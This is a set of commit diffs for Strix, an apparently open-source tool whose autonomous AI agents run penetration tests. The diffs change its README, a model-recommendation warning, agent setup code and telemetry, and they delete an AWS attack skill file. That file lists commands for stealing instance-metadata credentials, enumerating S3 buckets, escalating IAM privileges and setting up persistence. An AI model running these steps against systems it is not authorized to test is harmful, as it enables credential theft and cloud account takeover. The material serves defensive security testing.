Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 4c9f56fcd5 | |||
| 8ca83e4c16 | |||
| 94c361cbb6 |
@@ -11,12 +11,13 @@ repos:
|
||||
|
||||
# MyPy for static type checking
|
||||
- repo: https://github.com/pre-commit/mirrors-mypy
|
||||
rev: v1.16.0
|
||||
rev: v1.19.1
|
||||
hooks:
|
||||
- id: mypy
|
||||
additional_dependencies: [
|
||||
types-requests,
|
||||
types-python-dateutil,
|
||||
types-Pygments,
|
||||
pydantic,
|
||||
fastapi,
|
||||
pytest,
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
# Strix
|
||||
|
||||
### The open-source AI pentesting tool. Autonomous AI hackers that find and fix your app’s vulnerabilities.
|
||||
### Open-source AI hackers to find and fix your app’s vulnerabilities.
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -40,15 +40,15 @@
|
||||
|
||||
## Strix Overview
|
||||
|
||||
Strix are autonomous AI penetration testing agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
|
||||
Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
|
||||
|
||||
**Key Capabilities:**
|
||||
|
||||
- **Full pentesting toolkit** - reconnaissance, exploitation, and validation out of the box
|
||||
- **Multi-agent orchestration** - teams of AI pentesters that collaborate and scale
|
||||
- **Real exploit validation** - working PoCs, not false positives like legacy vulnerability scanners
|
||||
- **Developer‑first CLI** - actionable findings with remediation guidance
|
||||
- **Auto‑fix & reporting** - generate patches and compliance-ready pentest reports
|
||||
- **Full hacker toolkit** out of the box
|
||||
- **Teams of agents** that collaborate and scale
|
||||
- **Real validation** with PoCs, not false positives
|
||||
- **Developer‑first** CLI with actionable reports
|
||||
- **Auto‑fix & reporting** to accelerate remediation
|
||||
|
||||
|
||||
<br>
|
||||
@@ -95,13 +95,13 @@ strix --target ./app-directory
|
||||
|
||||
## ☁️ Strix Platform
|
||||
|
||||
Try the Strix full-stack penetration testing platform at **[app.strix.ai](https://app.strix.ai)** - sign up for free, connect your repos and domains, and launch a pentest in minutes.
|
||||
Try the Strix full-stack security platform at **[app.strix.ai](https://app.strix.ai)** — sign up for free, connect your repos and domains, and launch a pentest in minutes.
|
||||
|
||||
- **Validated findings with PoCs** - every vulnerability includes a working proof-of-concept exploit and reproduction steps
|
||||
- **One-click autofix** - AI-generated security patches as ready-to-merge pull requests
|
||||
- **Continuous pentesting** - always-on vulnerability scanning that keeps pace with your deployments
|
||||
- **DevSecOps integrations** - GitHub, GitLab, Bitbucket, Slack, Jira, Linear, and CI/CD pipelines
|
||||
- **Continuous learning** - AI that builds on past findings, adapts to your codebase, and reduces false positives over time
|
||||
- **Validated findings with PoCs** and reproduction steps
|
||||
- **One-click autofix** as ready-to-merge pull requests
|
||||
- **Continuous monitoring** across code, cloud, and infrastructure
|
||||
- **Integrations** with GitHub, Slack, Jira, Linear, and CI/CD pipelines
|
||||
- **Continuous learning** that builds on past findings and remediations
|
||||
|
||||
[**Start your first pentest →**](https://app.strix.ai)
|
||||
|
||||
@@ -109,38 +109,37 @@ Try the Strix full-stack penetration testing platform at **[app.strix.ai](https:
|
||||
|
||||
## ✨ Features
|
||||
|
||||
### Agentic Pentesting Tools
|
||||
### Agentic Security Tools
|
||||
|
||||
Strix agents come equipped with a comprehensive offensive security toolkit - the same tools used by professional penetration testers and ethical hackers:
|
||||
Strix agents come equipped with a comprehensive security testing toolkit:
|
||||
|
||||
- **HTTP Interception Proxy** - Full request/response manipulation and analysis with Caido
|
||||
- **Browser Exploitation** - Automated browser for testing XSS, CSRF, clickjacking, and auth bypass flows
|
||||
- **Shell & Command Execution** - Interactive terminal for exploit development and post-exploitation
|
||||
- **Custom Exploit Runtime** - Python sandbox for writing and validating proof-of-concept exploits
|
||||
- **Reconnaissance & OSINT** - Automated attack surface mapping, subdomain enumeration, and fingerprinting
|
||||
- **Static & Dynamic Code Analysis** - SAST + DAST capabilities for comprehensive application security testing
|
||||
- **Vulnerability Knowledge Base** - Structured findings with CVSS scoring and OWASP classification
|
||||
- **Full HTTP Proxy** - Full request/response manipulation and analysis
|
||||
- **Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows
|
||||
- **Terminal Environments** - Interactive shells for command execution and testing
|
||||
- **Python Runtime** - Custom exploit development and validation
|
||||
- **Reconnaissance** - Automated OSINT and attack surface mapping
|
||||
- **Code Analysis** - Static and dynamic analysis capabilities
|
||||
- **Knowledge Management** - Structured findings and attack documentation
|
||||
|
||||
### Comprehensive Vulnerability Scanner
|
||||
### Comprehensive Vulnerability Detection
|
||||
|
||||
Strix identifies, validates, and exploits a wide range of security vulnerabilities across the OWASP Top 10 and beyond:
|
||||
Strix can identify and validate a wide range of security vulnerabilities:
|
||||
|
||||
- **Broken Access Control** - IDOR, privilege escalation, auth bypass
|
||||
- **Injection Attacks** - SQL injection, NoSQL injection, OS command injection, SSTI
|
||||
- **Server-Side Vulnerabilities** - SSRF, XXE, insecure deserialization, RCE
|
||||
- **Client-Side Attacks** - XSS (stored/reflected/DOM), prototype pollution, CSRF
|
||||
- **Business Logic Flaws** - Race conditions, payment manipulation, workflow bypass
|
||||
- **Authentication & Session** - JWT attacks, session fixation, credential stuffing vectors
|
||||
- **Infrastructure & Cloud** - Misconfigurations, exposed services, cloud security issues
|
||||
- **API Security** - Broken authentication, mass assignment, rate limiting bypass
|
||||
- **Access Control** - IDOR, privilege escalation, auth bypass
|
||||
- **Injection Attacks** - SQL, NoSQL, command injection
|
||||
- **Server-Side** - SSRF, XXE, deserialization flaws
|
||||
- **Client-Side** - XSS, prototype pollution, DOM vulnerabilities
|
||||
- **Business Logic** - Race conditions, workflow manipulation
|
||||
- **Authentication** - JWT vulnerabilities, session management
|
||||
- **Infrastructure** - Misconfigurations, exposed services
|
||||
|
||||
### Graph of Agents (Multi-Agent Pentesting)
|
||||
### Graph of Agents
|
||||
|
||||
Advanced multi-agent orchestration for comprehensive automated penetration testing:
|
||||
Advanced multi-agent orchestration for comprehensive security testing:
|
||||
|
||||
- **Distributed Pentesting** - Specialized AI agents for recon, exploitation, and post-exploitation
|
||||
- **Scalable Security Testing** - Parallel execution across multiple targets for fast, comprehensive coverage
|
||||
- **Dynamic Coordination** - Agents share discoveries, chain vulnerabilities, and collaborate like a red team
|
||||
- **Distributed Workflows** - Specialized agents for different attacks and assets
|
||||
- **Scalable Testing** - Parallel execution for fast comprehensive coverage
|
||||
- **Dynamic Coordination** - Agents collaborate and share discoveries
|
||||
|
||||
---
|
||||
|
||||
@@ -183,7 +182,7 @@ strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main
|
||||
|
||||
### Headless Mode
|
||||
|
||||
Run Strix programmatically without interactive UI using the `-n/--non-interactive` flag - perfect for servers and automated jobs. The CLI prints real-time vulnerability findings, and the final report before exiting. Exits with non-zero code when vulnerabilities are found.
|
||||
Run Strix programmatically without interactive UI using the `-n/--non-interactive` flag—perfect for servers and automated jobs. The CLI prints real-time vulnerability findings, and the final report before exiting. Exits with non-zero code when vulnerabilities are found.
|
||||
|
||||
```bash
|
||||
strix -n --target https://your-app.com
|
||||
@@ -240,19 +239,19 @@ export STRIX_REASONING_EFFORT="high" # control thinking effort (default: high,
|
||||
|
||||
**Recommended models for best results:**
|
||||
|
||||
- [OpenAI GPT-5.4](https://openai.com/api/) - `openai/gpt-5.4`
|
||||
- [Anthropic Claude Sonnet 4.6](https://claude.com/platform/api) - `anthropic/claude-sonnet-4-6`
|
||||
- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) - `vertex_ai/gemini-3-pro-preview`
|
||||
- [OpenAI GPT-5.4](https://openai.com/api/) — `openai/gpt-5.4`
|
||||
- [Anthropic Claude Sonnet 4.6](https://claude.com/platform/api) — `anthropic/claude-sonnet-4-6`
|
||||
- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) — `vertex_ai/gemini-3-pro-preview`
|
||||
|
||||
See the [LLM Providers documentation](https://docs.strix.ai/llm-providers/overview) for all supported providers including Vertex AI, Bedrock, Azure, and local models.
|
||||
|
||||
## Enterprise Pentesting
|
||||
## Enterprise
|
||||
|
||||
Get the same Strix experience with [enterprise-grade](https://strix.ai/demo) controls: SSO (SAML/OIDC), custom compliance-ready penetration testing reports (SOC 2, ISO 27001, PCI DSS), dedicated support & SLA, custom deployment options (VPC/self-hosted), BYOK model support, and tailored AI pentesting agents optimized for your environment. [Learn more](https://strix.ai/demo).
|
||||
Get the same Strix experience with [enterprise-grade](https://strix.ai/demo) controls: SSO (SAML/OIDC), custom compliance reports, dedicated support & SLA, custom deployment options (VPC/self-hosted), BYOK model support, and tailored agents optimized for your environment. [Learn more](https://strix.ai/demo).
|
||||
|
||||
## Documentation
|
||||
|
||||
Full documentation is available at **[docs.strix.ai](https://docs.strix.ai)** - including detailed guides for usage, CI/CD integrations, skills, and advanced configuration.
|
||||
Full documentation is available at **[docs.strix.ai](https://docs.strix.ai)** — including detailed guides for usage, CI/CD integrations, skills, and advanced configuration.
|
||||
|
||||
## Contributing
|
||||
|
||||
|
||||
@@ -59,6 +59,42 @@ DEFAULT_MODEL_RETRY = ModelRetrySettings(
|
||||
),
|
||||
)
|
||||
|
||||
RECOMMENDED_MODEL_NAMES = (
|
||||
"openai/gpt-5.5",
|
||||
"openai/gpt-5.5-pro",
|
||||
"openai/gpt-5.4",
|
||||
"openai/gpt-5.4-pro",
|
||||
"openai/gpt-5.3-codex",
|
||||
"anthropic/claude-opus-4-8",
|
||||
"anthropic/claude-sonnet-4-6",
|
||||
"vertex_ai/gemini-3.1-pro-preview",
|
||||
"gemini/gemini-3.1-pro-preview",
|
||||
"xai/grok-4.3",
|
||||
"deepseek/deepseek-v4-pro",
|
||||
"deepseek/deepseek-reasoner",
|
||||
"dashscope/qwen3-max-2026-01-23",
|
||||
"moonshot/kimi-k2.7-code",
|
||||
"moonshot/kimi-k2.6",
|
||||
"mistral/mistral-medium-3-5",
|
||||
"mistral/magistral-medium-latest",
|
||||
)
|
||||
|
||||
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
|
||||
|
||||
FRONTIER_MODEL_FAMILIES = (
|
||||
(("azure", "azure_ai", "bedrock_mantle", "openai"), ("gpt-5",)),
|
||||
(
|
||||
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
|
||||
("claude-opus-4", "claude-sonnet-4"),
|
||||
),
|
||||
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
|
||||
(("xai", "x-ai"), ("grok-4",)),
|
||||
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
|
||||
(("alibaba", "dashscope", "qwen"), ("qwen3.7", "qwen3.5", "qwen3-max")),
|
||||
(("moonshot", "moonshotai", "kimi"), ("kimi-k2.7", "kimi-k2.6", "kimi-k2.5")),
|
||||
(("mistral", "mistralai"), ("mistral-medium-3-5", "magistral-medium")),
|
||||
)
|
||||
|
||||
|
||||
def configure_sdk_model_defaults(settings: Settings) -> None:
|
||||
"""Apply Strix config to SDK-native defaults."""
|
||||
@@ -154,6 +190,78 @@ def model_supports_reasoning(model_name: str) -> bool:
|
||||
return bool(entry and entry.get("supports_reasoning"))
|
||||
|
||||
|
||||
def is_recommended_or_frontier_model(model_name: str) -> bool:
|
||||
"""Return whether a model is recommended or in a frontier model family."""
|
||||
name = _normalized_model_name(model_name)
|
||||
if not name:
|
||||
return False
|
||||
if name in _RECOMMENDED_MODEL_NAME_SET:
|
||||
return True
|
||||
provider_name, bare_model_name = _split_model_provider(name)
|
||||
return any(
|
||||
_matches_frontier_family(provider_name, bare_model_name, provider_markers, prefixes)
|
||||
for provider_markers, prefixes in FRONTIER_MODEL_FAMILIES
|
||||
)
|
||||
|
||||
|
||||
def _normalized_model_name(model_name: str) -> str:
|
||||
name = model_name.strip().lower()
|
||||
for prefix in ("litellm/", "any-llm/"):
|
||||
if name.startswith(prefix):
|
||||
name = name[len(prefix) :]
|
||||
break
|
||||
return name
|
||||
|
||||
|
||||
def _split_model_provider(model_name: str) -> tuple[str | None, str]:
|
||||
if "/" not in model_name:
|
||||
return None, model_name
|
||||
provider_name, bare_model_name = model_name.rsplit("/", 1)
|
||||
return provider_name, bare_model_name
|
||||
|
||||
|
||||
def _matches_frontier_family(
|
||||
provider_name: str | None,
|
||||
model_name: str,
|
||||
provider_markers: tuple[str, ...],
|
||||
model_prefixes: tuple[str, ...],
|
||||
) -> bool:
|
||||
if not _matches_model_prefix(model_name, model_prefixes):
|
||||
return False
|
||||
if provider_name is None:
|
||||
return True
|
||||
return _contains_provider_marker(
|
||||
provider_name, provider_markers, split_compound_names=True
|
||||
) or _contains_provider_marker(model_name, provider_markers)
|
||||
|
||||
|
||||
def _matches_model_prefix(model_name: str, model_prefixes: tuple[str, ...]) -> bool:
|
||||
return any(
|
||||
candidate.startswith(prefix)
|
||||
for candidate in _model_name_candidates(model_name)
|
||||
for prefix in model_prefixes
|
||||
)
|
||||
|
||||
|
||||
def _model_name_candidates(model_name: str) -> tuple[str, ...]:
|
||||
if "." not in model_name:
|
||||
return (model_name,)
|
||||
suffixes = tuple(
|
||||
model_name.split(".", index)[-1] for index in range(1, model_name.count(".") + 1)
|
||||
)
|
||||
return (model_name, *suffixes)
|
||||
|
||||
|
||||
def _contains_provider_marker(
|
||||
value: str, provider_markers: tuple[str, ...], *, split_compound_names: bool = False
|
||||
) -> bool:
|
||||
parts = set(value.replace(".", "/").split("/"))
|
||||
if split_compound_names:
|
||||
for separator in ("_", "-"):
|
||||
parts.update(piece for part in tuple(parts) for piece in part.split(separator))
|
||||
return any(marker in parts for marker in provider_markers)
|
||||
|
||||
|
||||
def is_known_openai_bare_model(model_name: str) -> bool:
|
||||
import litellm
|
||||
|
||||
|
||||
+4
-1
@@ -28,7 +28,10 @@ class ReportUsageHooks(RunHooks[dict[str, Any]]):
|
||||
|
||||
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
|
||||
import math
|
||||
if max_budget_usd is not None and (not math.isfinite(max_budget_usd) or max_budget_usd <= 0):
|
||||
|
||||
if max_budget_usd is not None and (
|
||||
not math.isfinite(max_budget_usd) or max_budget_usd <= 0
|
||||
):
|
||||
raise ValueError("max_budget_usd must be a finite number greater than 0")
|
||||
self._model = model
|
||||
self._max_budget_usd = max_budget_usd
|
||||
|
||||
+23
-20
@@ -136,27 +136,30 @@ def child_initial_input(
|
||||
task: str,
|
||||
parent_history: list[Any],
|
||||
) -> list[dict[str, Any]]:
|
||||
"""Build the initial input for a child agent as a single user message.
|
||||
|
||||
Collapsing the inherited-context block, the identity line, and the task into
|
||||
one ``{"role": "user"}`` message keeps providers that require strictly
|
||||
alternating roles (e.g. Perplexity, llama.cpp) from rejecting consecutive
|
||||
user messages.
|
||||
"""
|
||||
parts: list[str] = []
|
||||
initial_input: list[dict[str, Any]] = []
|
||||
if parent_history:
|
||||
rendered = json.dumps(parent_history, ensure_ascii=False, default=str)
|
||||
parts.append(
|
||||
"== Inherited context from parent (background only) ==\n"
|
||||
f"{rendered}\n"
|
||||
"== End of inherited context ==\n"
|
||||
"Use the above as background only; do not continue the "
|
||||
"parent's work. Your task follows.",
|
||||
initial_input.append(
|
||||
{
|
||||
"role": "user",
|
||||
"content": (
|
||||
"== Inherited context from parent (background only) ==\n"
|
||||
f"{rendered}\n"
|
||||
"== End of inherited context ==\n"
|
||||
"Use the above as background only; do not continue the "
|
||||
"parent's work. Your task follows."
|
||||
),
|
||||
},
|
||||
)
|
||||
parts.append(
|
||||
f"You are agent {name} ({child_id}); your parent is {parent_id}. "
|
||||
"Maintain your own identity. Call agent_finish when your task "
|
||||
"is complete.",
|
||||
initial_input.append(
|
||||
{
|
||||
"role": "user",
|
||||
"content": (
|
||||
f"You are agent {name} ({child_id}); your parent is {parent_id}. "
|
||||
"Maintain your own identity. Call agent_finish when your task "
|
||||
"is complete."
|
||||
),
|
||||
}
|
||||
)
|
||||
parts.append(task)
|
||||
return [{"role": "user", "content": "\n\n".join(parts)}]
|
||||
initial_input.append({"role": "user", "content": task})
|
||||
return initial_input
|
||||
|
||||
@@ -11,7 +11,6 @@ from typing import TYPE_CHECKING, Any
|
||||
|
||||
from agents import RunConfig
|
||||
from agents.sandbox import SandboxRunConfig
|
||||
from openai import RateLimitError
|
||||
|
||||
from strix.agents.factory import build_strix_agent, make_child_factory
|
||||
from strix.config import load_settings
|
||||
@@ -309,19 +308,6 @@ async def run_strix_scan(
|
||||
with contextlib.suppress(Exception):
|
||||
await coordinator.set_status(root_id, "stopped")
|
||||
return None
|
||||
except RateLimitError as exc:
|
||||
logger.warning(
|
||||
"Scan %s stopped: persistent rate limit from the LLM provider (%s). "
|
||||
"Resume with 'strix --resume %s' once the limit clears.",
|
||||
scan_id,
|
||||
exc,
|
||||
scan_id,
|
||||
)
|
||||
if root_id is not None:
|
||||
await coordinator.cancel_descendants(root_id)
|
||||
with contextlib.suppress(Exception):
|
||||
await coordinator.set_status(root_id, "stopped")
|
||||
return None
|
||||
except BaseException:
|
||||
logger.exception("Strix scan %s failed", scan_id)
|
||||
if root_id is not None:
|
||||
|
||||
+32
-3
@@ -23,9 +23,11 @@ from strix.config import (
|
||||
persist_current,
|
||||
)
|
||||
from strix.config.models import (
|
||||
RECOMMENDED_MODEL_NAMES,
|
||||
StrixProvider,
|
||||
configure_sdk_model_defaults,
|
||||
is_known_openai_bare_model,
|
||||
is_recommended_or_frontier_model,
|
||||
)
|
||||
from strix.core.paths import run_dir_for, runtime_state_dir
|
||||
from strix.interface.cli import run_cli
|
||||
@@ -254,6 +256,32 @@ async def warm_up_llm() -> None:
|
||||
)
|
||||
sys.exit(1)
|
||||
|
||||
if raw_model and not is_recommended_or_frontier_model(raw_model):
|
||||
warn_text = Text()
|
||||
warn_text.append("MODEL QUALITY WARNING", style="bold yellow")
|
||||
warn_text.append("\n\n", style="white")
|
||||
warn_text.append(f"'{raw_model}'", style="bold cyan")
|
||||
warn_text.append(
|
||||
" is not a recommended frontier model for Strix.\nSecurity scans work best with:\n",
|
||||
style="white",
|
||||
)
|
||||
for recommended_model in RECOMMENDED_MODEL_NAMES:
|
||||
warn_text.append(f"• {recommended_model}\n", style="bold cyan")
|
||||
warn_text.append(
|
||||
"\nYou can continue, but weaker models may miss vulnerabilities "
|
||||
"or produce lower-quality findings.",
|
||||
style="white",
|
||||
)
|
||||
console.print(
|
||||
Panel(
|
||||
warn_text,
|
||||
title="[bold white]STRIX",
|
||||
title_align="left",
|
||||
border_style="yellow",
|
||||
padding=(1, 2),
|
||||
),
|
||||
)
|
||||
|
||||
model = StrixProvider().get_model(raw_model)
|
||||
await asyncio.wait_for(
|
||||
model.get_response(
|
||||
@@ -310,6 +338,7 @@ def _positive_budget(value: str) -> float:
|
||||
except ValueError as exc:
|
||||
raise argparse.ArgumentTypeError(f"invalid float value: {value!r}") from exc
|
||||
import math
|
||||
|
||||
if not math.isfinite(budget) or budget <= 0:
|
||||
raise argparse.ArgumentTypeError("must be a finite number greater than 0")
|
||||
return budget
|
||||
@@ -820,10 +849,10 @@ def main() -> None:
|
||||
asyncio.run(run_tui(args))
|
||||
except KeyboardInterrupt:
|
||||
exit_reason = "interrupted"
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
exit_reason = "error"
|
||||
posthog.error("unhandled_exception")
|
||||
scarf.error("unhandled_exception")
|
||||
posthog.error("unhandled_exception", str(e))
|
||||
scarf.error("unhandled_exception", str(e))
|
||||
raise
|
||||
finally:
|
||||
report_state = get_global_report_state()
|
||||
|
||||
@@ -83,7 +83,7 @@ class ChatTextArea(TextArea): # type: ignore[misc]
|
||||
|
||||
super()._on_key(event)
|
||||
|
||||
@on(TextArea.Changed) # type: ignore[misc]
|
||||
@on(TextArea.Changed) # type: ignore[untyped-decorator]
|
||||
def _update_height(self, _event: TextArea.Changed | None = None) -> None:
|
||||
if not self.parent:
|
||||
return
|
||||
@@ -1549,7 +1549,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
|
||||
return AgentMessageRenderer.render_simple(content)
|
||||
|
||||
@on(Tree.NodeHighlighted) # type: ignore[misc]
|
||||
@on(Tree.NodeHighlighted) # type: ignore[untyped-decorator]
|
||||
def handle_tree_highlight(self, event: Tree.NodeHighlighted) -> None:
|
||||
if len(self.screen_stack) > 1 or self.show_splash:
|
||||
return
|
||||
@@ -1569,7 +1569,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
if agent_id:
|
||||
self.selected_agent_id = agent_id
|
||||
|
||||
@on(Tree.NodeSelected) # type: ignore[misc]
|
||||
@on(Tree.NodeSelected) # type: ignore[untyped-decorator]
|
||||
def handle_tree_node_selected(self, event: Tree.NodeSelected) -> None:
|
||||
if len(self.screen_stack) > 1 or self.show_splash:
|
||||
return
|
||||
|
||||
@@ -48,7 +48,7 @@ logger = logging.getLogger(__name__)
|
||||
class StrixDockerSandboxClient(DockerSandboxClient):
|
||||
# Host directories to bind-mount into the container, set by the docker
|
||||
# backend before ``create()``. Each item is ``{source, target, read_only}``.
|
||||
strix_bind_mounts: list[dict[str, Any]] = [] # overridden per-instance in backends.py
|
||||
strix_bind_mounts: list[dict[str, Any]] | None = None
|
||||
|
||||
async def _create_container(
|
||||
self,
|
||||
|
||||
@@ -1,231 +0,0 @@
|
||||
---
|
||||
name: aws
|
||||
description: AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
|
||||
---
|
||||
|
||||
# AWS Cloud Security
|
||||
|
||||
AWS misconfigurations frequently expose credentials, data, and lateral movement paths. This skill covers direct AWS API testing and post-compromise enumeration from EC2/Lambda/container workloads. For SSRF-mediated metadata access, combine with the ssrf skill.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Identity**
|
||||
- IAM users, roles, groups, policies (inline and managed)
|
||||
- Access keys, session tokens, SSO/SAML federation
|
||||
- Cross-account roles, trust policies, permission boundaries
|
||||
|
||||
**Storage & Data**
|
||||
- S3 buckets, objects, bucket policies, ACLs, Block Public Access settings
|
||||
- EBS snapshots, RDS snapshots, AMIs shared publicly
|
||||
- Secrets Manager, SSM Parameter Store, KMS keys
|
||||
|
||||
**Compute**
|
||||
- EC2 instances, Lambda functions, ECS/EKS tasks
|
||||
- Instance metadata service (IMDSv1/v2) at `169.254.169.254`
|
||||
- User data, launch templates, AMIs
|
||||
|
||||
**Network**
|
||||
- Security groups, NACLs, VPC endpoints, public subnets
|
||||
- ELB/ALB/CloudFront misconfigurations
|
||||
|
||||
**Management**
|
||||
- CloudTrail, Config, GuardDuty gaps
|
||||
- Cognito user pools, API Gateway, AppSync
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Credential Discovery**
|
||||
- Environment variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`
|
||||
- `~/.aws/credentials`, `~/.aws/config`, CI/CD env vars, `.env` files
|
||||
- Hardcoded keys in source, mobile apps, JavaScript bundles
|
||||
|
||||
**Unauthenticated Enumeration**
|
||||
|
||||
Use two separate checks — they answer different questions and must not be conflated:
|
||||
|
||||
**1. Bucket existence (does the name resolve?)**
|
||||
|
||||
Goal: learn whether a bucket name exists in AWS, without needing `s3:ListBucket`.
|
||||
- `head-bucket` or `curl -I` HTTP status is the signal — not `aws s3 ls`.
|
||||
- `403 Forbidden` → bucket exists but you lack access (private or wrong account).
|
||||
- `404 Not Found` → bucket does not exist in that region, or name is wrong.
|
||||
|
||||
```
|
||||
aws s3api head-bucket --bucket target-bucket --no-sign-request 2>&1
|
||||
curl -I https://target-bucket.s3.amazonaws.com/
|
||||
```
|
||||
|
||||
**2. Public listing (is ListBucket granted to anonymous users?)**
|
||||
|
||||
Goal: confirm `s3:ListBucket` is publicly granted — a separate and stronger finding than existence alone.
|
||||
- Only run `aws s3 ls` for this step; a successful listing returns object keys/prefixes.
|
||||
- Failure here does not disprove existence (a private bucket still returns 403 on list).
|
||||
|
||||
```
|
||||
aws s3 ls s3://target-bucket --no-sign-request
|
||||
```
|
||||
|
||||
**Authenticated Enumeration (with any credentials)**
|
||||
```
|
||||
aws sts get-caller-identity
|
||||
aws iam get-account-authorization-details 2>/dev/null
|
||||
aws iam list-users
|
||||
aws iam list-roles
|
||||
aws iam list-attached-user-policies --user-name <user>
|
||||
aws s3 ls
|
||||
aws ec2 describe-instances
|
||||
```
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### S3 Misconfigurations
|
||||
|
||||
- Public read/write buckets (ACL `public-read`, policy `"Principal":"*"`)
|
||||
- AuthenticatedUsers group grants (`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`)
|
||||
- ListBucket enabled publicly → object key enumeration
|
||||
- Sensitive object keys guessable: `backup/`, `db/`, `.env`, `config/`, `logs/`
|
||||
|
||||
**Test:**
|
||||
```
|
||||
aws s3 ls s3://BUCKET --no-sign-request
|
||||
aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request
|
||||
curl https://BUCKET.s3.amazonaws.com/
|
||||
```
|
||||
|
||||
### IAM Privilege Escalation
|
||||
|
||||
Common escalation paths (verify with `aws iam simulate-principal-policy` when possible):
|
||||
|
||||
| Permission | Escalation |
|
||||
|------------|------------|
|
||||
| `iam:CreatePolicyVersion` | Attach admin policy version to self |
|
||||
| `iam:SetDefaultPolicyVersion` | Roll back to older permissive policy version |
|
||||
| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with admin role, invoke |
|
||||
| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with instance profile |
|
||||
| `sts:AssumeRole` on overprivileged role | Cross-account or same-account pivot |
|
||||
| `iam:UpdateAssumeRolePolicy` | Add self to trust policy of privileged role |
|
||||
| `iam:AttachUserPolicy` / `PutUserPolicy` | Self-grant admin |
|
||||
|
||||
**Test:**
|
||||
```
|
||||
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
|
||||
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names iam:CreateAccessKey --resource-arns "*"
|
||||
```
|
||||
|
||||
### Instance Metadata Abuse
|
||||
|
||||
**IMDSv1 (no token required)**
|
||||
```
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
|
||||
curl http://169.254.169.254/latest/user-data
|
||||
```
|
||||
|
||||
**IMDSv2 bypass contexts**
|
||||
- SSRF with header injection if server forwards `X-aws-ec2-metadata-token`
|
||||
- Container sidecars without hop limit enforcement
|
||||
- Misconfigured proxies allowing link-local access
|
||||
|
||||
### Snapshot and Backup Exposure
|
||||
|
||||
- Public EBS/RDS snapshots: `aws ec2 describe-snapshots --restorable-by-user-names all`
|
||||
- AMIs with `Public` launch permission containing secrets or keys
|
||||
- Backup vaults cross-account without proper isolation
|
||||
|
||||
### Lambda and Serverless
|
||||
|
||||
- Overprivileged execution roles (`AdministratorAccess` on Lambda role)
|
||||
- Environment variables containing secrets (visible via `lambda:GetFunctionConfiguration`)
|
||||
- Function URLs or API Gateway without auth
|
||||
- Event source mappings triggering on attacker-controlled events
|
||||
|
||||
### Cognito Misconfigurations
|
||||
|
||||
- Self-signup enabled with elevated default group membership
|
||||
- Missing app client secret on confidential flows
|
||||
- Custom attribute write permissions allowing privilege fields (`custom:role`, `custom:admin`)
|
||||
- ID token custom claims trusted by backend without verification
|
||||
|
||||
### KMS and Secrets
|
||||
|
||||
- KMS key policies allowing `Principal: *` or overly broad accounts
|
||||
- Secrets Manager secrets readable by unintended roles
|
||||
- SSM parameters under `/` with `GetParameter` for unauthenticated or low-priv callers
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
**Cross-Account Role Assumption**
|
||||
- Find roles trusting `*` or external accounts broadly
|
||||
- Confused deputy: service assumes role without external ID validation
|
||||
|
||||
**CloudFront Origin Exposure**
|
||||
- Origin pointing directly to S3 website or ALB bypassing WAF
|
||||
- Signed URL/cookie misconfiguration allowing object access
|
||||
|
||||
**Resource-Based Policy Gaps**
|
||||
- S3 bucket policy allowing `s3:GetObject` from unintended principals
|
||||
- Lambda resource policy `Principal: *` with weak condition keys
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Discover credentials** — Keys in code, env, metadata, or SSRF
|
||||
2. **Identify principal** — `get-caller-identity`, map effective permissions
|
||||
3. **Enumerate resources** — S3, EC2, IAM, Lambda within policy bounds
|
||||
4. **Escalation paths** — Run escalation checklist against attached policies
|
||||
5. **Data exposure** — Public buckets, snapshots, secrets, user-data scripts
|
||||
6. **Persistence** — New access keys, backdoor roles, Lambda triggers (only in authorized scope)
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate unauthorized read/write of S3 objects or snapshots with evidence (object keys, ETags)
|
||||
2. Show IAM escalation from low-priv to higher-priv with exact API calls and resulting permissions
|
||||
3. Prove metadata credential theft path (SSRF or IMDS) with redacted temporary credentials scope
|
||||
4. Document resource ARN, policy statement, and misconfiguration root cause
|
||||
5. Confirm fix would block the specific principal/action/resource combination
|
||||
|
||||
## False Positives
|
||||
|
||||
- Intentionally public static assets bucket with no sensitive keys
|
||||
- Read-only `s3:ListBucket` on empty marketing bucket
|
||||
- Metadata endpoint unreachable from tested context (no SSRF, IMDSv2 enforced with hop limit)
|
||||
- Simulated escalation blocked by permission boundary or SCP
|
||||
